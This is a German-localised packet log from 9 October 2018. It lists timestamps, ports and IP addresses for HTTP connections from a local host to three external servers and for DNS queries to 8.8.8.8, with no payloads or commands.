Okt 9, 2018 20:10:12.409557104 MESZ	80	49178	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:12.409739017 MESZ	49178	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:12.410221100 MESZ	49178	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:12.423719883 MESZ	80	49178	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:12.424009085 MESZ	49178	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:12.424446106 MESZ	50551	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:12.443578959 MESZ	53	50551	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:12.537441015 MESZ	49179	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:10:12.552834988 MESZ	80	49178	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:14.739301920 MESZ	49176	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:10:15.537278891 MESZ	49179	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:10:17.601588011 MESZ	63019	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:17.621062994 MESZ	53	63019	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:17.841474056 MESZ	51793	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:17.847404957 MESZ	53	51793	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:17.860831976 MESZ	49180	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:10:17.944905043 MESZ	49181	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:10:20.870635986 MESZ	49180	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:10:20.944645882 MESZ	49181	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:10:22.538160086 MESZ	51710	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:22.559103012 MESZ	53	51710	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:22.668195009 MESZ	49182	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:10:23.537066936 MESZ	60656	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:23.555862904 MESZ	53	60656	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:23.644738913 MESZ	49183	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:10:25.667926073 MESZ	49182	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:10:26.646918058 MESZ	49183	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:10:27.534969091 MESZ	57242	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:27.554924965 MESZ	53	57242	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:28.700206995 MESZ	53310	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:28.705104113 MESZ	53	53310	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:28.730381012 MESZ	58976	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:28.749808073 MESZ	53	58976	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:29.547827005 MESZ	55802	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:29.553443909 MESZ	53	55802	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:29.657644033 MESZ	49186	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:10:29.766557932 MESZ	53659	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:29.908780098 MESZ	53	53659	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:30.036834955 MESZ	49187	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:30.179677963 MESZ	80	49187	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:30.180054903 MESZ	49187	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:30.183459044 MESZ	49187	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:30.326232910 MESZ	80	49187	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:30.327121019 MESZ	80	49187	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:30.327744007 MESZ	80	49187	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:30.327873945 MESZ	80	49187	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:30.328052044 MESZ	49187	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:30.328603983 MESZ	49187	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:30.330207109 MESZ	49188	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:30.340135098 MESZ	80	49187	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:30.340347052 MESZ	49187	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:30.474457026 MESZ	80	49187	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:30.475240946 MESZ	80	49188	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:30.475517035 MESZ	49188	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:30.477566957 MESZ	49188	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:30.628139019 MESZ	80	49188	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:30.628259897 MESZ	80	49188	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:30.628326893 MESZ	80	49188	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:30.628355980 MESZ	80	49188	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:30.628647089 MESZ	49188	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:30.630036116 MESZ	49188	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:30.635620117 MESZ	80	49188	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:30.635890007 MESZ	49188	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:30.651029110 MESZ	63139	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:30.655920029 MESZ	53	63139	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:30.768609047 MESZ	49189	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:10:30.773472071 MESZ	80	49188	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:32.660260916 MESZ	49186	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:10:33.768491983 MESZ	49189	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:10:35.589493036 MESZ	62014	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:35.595019102 MESZ	53	62014	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:35.800156116 MESZ	49190	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:10:35.803287029 MESZ	51426	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:35.808921099 MESZ	53	51426	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:35.892760038 MESZ	49191	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:10:38.798729897 MESZ	49190	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:10:38.892690897 MESZ	49191	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:10:40.541780949 MESZ	58153	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:40.547384024 MESZ	53	58153	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:40.680109024 MESZ	49192	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:10:41.655937910 MESZ	58627	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:41.661478043 MESZ	53	58627	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:42.780239105 MESZ	50681	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:42.785778999 MESZ	53	50681	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:42.801995993 MESZ	53125	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:42.821742058 MESZ	53	53125	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:43.674050093 MESZ	49192	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:10:44.843209028 MESZ	53270	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:44.848253965 MESZ	53	53270	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:45.547069073 MESZ	49350	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:45.552006006 MESZ	53	49350	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:45.962096930 MESZ	56316	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:45.982712984 MESZ	53	56316	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:45.995511055 MESZ	61194	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:46.000555992 MESZ	53	61194	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:47.682904005 MESZ	64396	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:47.704125881 MESZ	53	64396	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:47.809185982 MESZ	49199	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:47.952614069 MESZ	80	49199	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:47.953053951 MESZ	49199	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:47.955779076 MESZ	49199	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:48.019756079 MESZ	61853	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:48.025079966 MESZ	53	61853	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:48.098891973 MESZ	80	49199	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:48.099208117 MESZ	80	49199	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:48.099404097 MESZ	80	49199	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:48.099440098 MESZ	80	49199	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:48.100337029 MESZ	49199	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:48.102456093 MESZ	49199	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:48.105540037 MESZ	49200	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:48.111179113 MESZ	80	49199	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:48.111388922 MESZ	49199	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:48.247205973 MESZ	80	49199	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:48.248620033 MESZ	80	49200	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:48.248873949 MESZ	49200	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:48.252856016 MESZ	49200	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:48.395896912 MESZ	80	49200	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:48.396776915 MESZ	80	49200	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:48.397649050 MESZ	80	49200	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:48.397842884 MESZ	80	49200	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:48.398143053 MESZ	49200	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:48.398298979 MESZ	49200	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:48.410398006 MESZ	80	49200	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:48.410753012 MESZ	49200	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:48.410859108 MESZ	63080	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:48.543122053 MESZ	80	49200	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:48.559881926 MESZ	53	63080	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:48.688400030 MESZ	49202	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:10:49.170600891 MESZ	50847	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:49.176276922 MESZ	53	50847	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:49.200323105 MESZ	56696	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:49.205574989 MESZ	53	56696	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:51.294511080 MESZ	51132	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:51.300658941 MESZ	53	51132	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:51.688499928 MESZ	49202	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:10:52.418668985 MESZ	56819	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:52.424046040 MESZ	53	56819	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:52.444528103 MESZ	64309	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:52.449575901 MESZ	53	64309	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:53.726860046 MESZ	55159	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:53.755548954 MESZ	53	55159	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:53.838566065 MESZ	49206	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:10:54.469496012 MESZ	53744	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:54.474833012 MESZ	53	53744	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:55.614875078 MESZ	49828	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:55.620285988 MESZ	53	49828	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:55.637025118 MESZ	52657	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:55.657861948 MESZ	53	52657	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:56.832825899 MESZ	49206	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:10:57.784671068 MESZ	55530	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:57.804960012 MESZ	53	55530	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:57.912039995 MESZ	49209	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:58.054481030 MESZ	80	49209	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:58.054852962 MESZ	49209	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:58.057859898 MESZ	49209	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:58.200429916 MESZ	80	49209	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:58.201939106 MESZ	80	49209	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:58.202131987 MESZ	80	49209	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:58.202286005 MESZ	80	49209	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:58.202503920 MESZ	49209	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:58.203783035 MESZ	49209	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:58.213335991 MESZ	49210	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:58.216187000 MESZ	80	49209	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:58.216427088 MESZ	49209	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:58.347871065 MESZ	80	49209	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:58.356091022 MESZ	80	49210	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:58.356544971 MESZ	49210	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:58.361099005 MESZ	49210	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:58.503825903 MESZ	80	49210	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:58.504420042 MESZ	80	49210	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:58.505141973 MESZ	80	49210	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:58.505261898 MESZ	80	49210	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:58.505562067 MESZ	49210	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:58.506177902 MESZ	49210	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:58.517904997 MESZ	80	49210	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:58.518331051 MESZ	49210	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:58.543186903 MESZ	55695	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:58.562721014 MESZ	53	55695	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:58.649367094 MESZ	80	49210	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:58.669660091 MESZ	49211	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:10:59.527112961 MESZ	54533	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:59.532181025 MESZ	53	54533	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:59.631319046 MESZ	49212	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:59.774457932 MESZ	80	49212	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:59.774763107 MESZ	49212	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:59.776194096 MESZ	49212	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:59.918764114 MESZ	80	49212	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:59.919723034 MESZ	80	49212	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:59.919886112 MESZ	80	49212	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:59.919909954 MESZ	80	49212	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:59.920203924 MESZ	49212	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:59.920695066 MESZ	49212	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:59.922338009 MESZ	49213	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:10:59.933558941 MESZ	80	49212	209.99.40.222	192.168.0.42
Okt 9, 2018 20:10:59.933815002 MESZ	49212	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:00.064045906 MESZ	80	49212	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:00.064786911 MESZ	80	49213	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:00.065490007 MESZ	49213	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:00.069495916 MESZ	49213	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:00.212049007 MESZ	80	49213	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:00.213094950 MESZ	80	49213	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:00.213454008 MESZ	80	49213	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:00.213608980 MESZ	80	49213	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:00.213839054 MESZ	49213	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:00.215018034 MESZ	49213	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:00.231128931 MESZ	80	49213	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:00.231414080 MESZ	49213	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:00.357637882 MESZ	80	49213	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:01.225512981 MESZ	57043	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:01.230922937 MESZ	53	57043	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:01.325742006 MESZ	49214	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:01.486572027 MESZ	80	49214	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:01.486812115 MESZ	49214	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:01.488013029 MESZ	49214	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:01.645205021 MESZ	80	49214	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:01.646399975 MESZ	80	49214	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:01.647057056 MESZ	80	49214	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:01.647145987 MESZ	80	49214	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:01.647357941 MESZ	49214	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:01.647917986 MESZ	49214	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:01.649249077 MESZ	49215	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:01.656537056 MESZ	80	49214	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:01.656713963 MESZ	49214	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:01.663944960 MESZ	49211	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:11:01.792432070 MESZ	80	49214	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:01.794080973 MESZ	80	49215	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:01.794275999 MESZ	49215	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:01.795789003 MESZ	49215	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:01.967051029 MESZ	80	49215	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:01.967511892 MESZ	80	49215	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:01.967724085 MESZ	80	49215	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:01.967876911 MESZ	80	49215	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:01.968164921 MESZ	49215	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:01.968667030 MESZ	49215	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:01.980154991 MESZ	80	49215	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:01.980453968 MESZ	49215	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:02.147190094 MESZ	80	49215	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:02.975723028 MESZ	59760	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:02.980665922 MESZ	53	59760	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:03.075802088 MESZ	49216	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:03.219213963 MESZ	80	49216	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:03.219511032 MESZ	49216	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:03.220638990 MESZ	49216	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:03.537115097 MESZ	65101	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:03.542480946 MESZ	53	65101	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:03.640047073 MESZ	49216	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:03.829926968 MESZ	80	49216	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:03.830991983 MESZ	80	49216	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:03.831135035 MESZ	80	49216	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:03.831165075 MESZ	80	49216	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:03.831330061 MESZ	49216	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:03.831813097 MESZ	49216	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:03.833689928 MESZ	49218	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:03.847881079 MESZ	80	49216	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:03.848062038 MESZ	49216	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:04.014827967 MESZ	80	49216	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:04.015620947 MESZ	80	49218	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:04.015809059 MESZ	49218	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:04.018332005 MESZ	49218	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:04.174221992 MESZ	80	49218	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:04.175137043 MESZ	80	49218	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:04.175661087 MESZ	80	49218	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:04.175782919 MESZ	80	49218	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:04.175985098 MESZ	49218	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:04.176529884 MESZ	49218	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:04.191622019 MESZ	80	49218	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:04.191909075 MESZ	49218	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:04.326293945 MESZ	80	49218	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:04.666897058 MESZ	55378	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:04.672998905 MESZ	53	55378	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:04.685305119 MESZ	63969	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:04.690176010 MESZ	53	63969	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:05.183609962 MESZ	50022	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:05.188380003 MESZ	53	50022	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:05.271693945 MESZ	49220	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:05.414345026 MESZ	80	49220	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:05.414691925 MESZ	49220	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:05.416311979 MESZ	49220	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:05.559348106 MESZ	80	49220	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:05.561121941 MESZ	80	49220	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:05.561286926 MESZ	80	49220	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:05.561440945 MESZ	80	49220	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:05.561660051 MESZ	49220	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:05.561897993 MESZ	49220	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:05.563076019 MESZ	49221	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:05.573800087 MESZ	80	49220	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:05.573993921 MESZ	49220	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:05.698995113 MESZ	52396	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:11:05.704535961 MESZ	53	52396	8.8.8.8	192.168.0.42
Okt 9, 2018 20:11:05.705769062 MESZ	80	49220	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:05.706098080 MESZ	80	49221	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:05.706291914 MESZ	49221	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:05.709758043 MESZ	49221	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:05.800920963 MESZ	49222	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:05.853076935 MESZ	80	49221	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:05.853636026 MESZ	80	49221	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:05.853827953 MESZ	80	49221	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:05.853981972 MESZ	80	49221	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:05.854228973 MESZ	49221	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:05.854530096 MESZ	49221	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:05.866641998 MESZ	80	49221	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:05.866837025 MESZ	49221	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:05.943506002 MESZ	80	49222	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:05.943813086 MESZ	49222	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:05.944869041 MESZ	49222	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:05.999007940 MESZ	80	49221	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:06.088186979 MESZ	80	49222	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:06.093153000 MESZ	80	49222	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:06.093333006 MESZ	80	49222	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:06.093482971 MESZ	80	49222	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:06.093676090 MESZ	49222	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:06.094304085 MESZ	49222	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:06.096260071 MESZ	49223	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:06.106025934 MESZ	80	49222	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:06.106379986 MESZ	49222	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:06.237643003 MESZ	80	49222	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:06.239288092 MESZ	80	49223	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:06.239455938 MESZ	49223	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:06.241266966 MESZ	49223	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:06.384010077 MESZ	80	49223	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:06.386392117 MESZ	80	49223	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:06.387276888 MESZ	80	49223	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:06.387305021 MESZ	80	49223	209.99.40.222	192.168.0.42
Okt 9, 2018 20:11:06.387474060 MESZ	49223	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:06.388009071 MESZ	49223	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:11:06.403635025 MESZ	80	49223	209.99.40.222	192.168.0.42
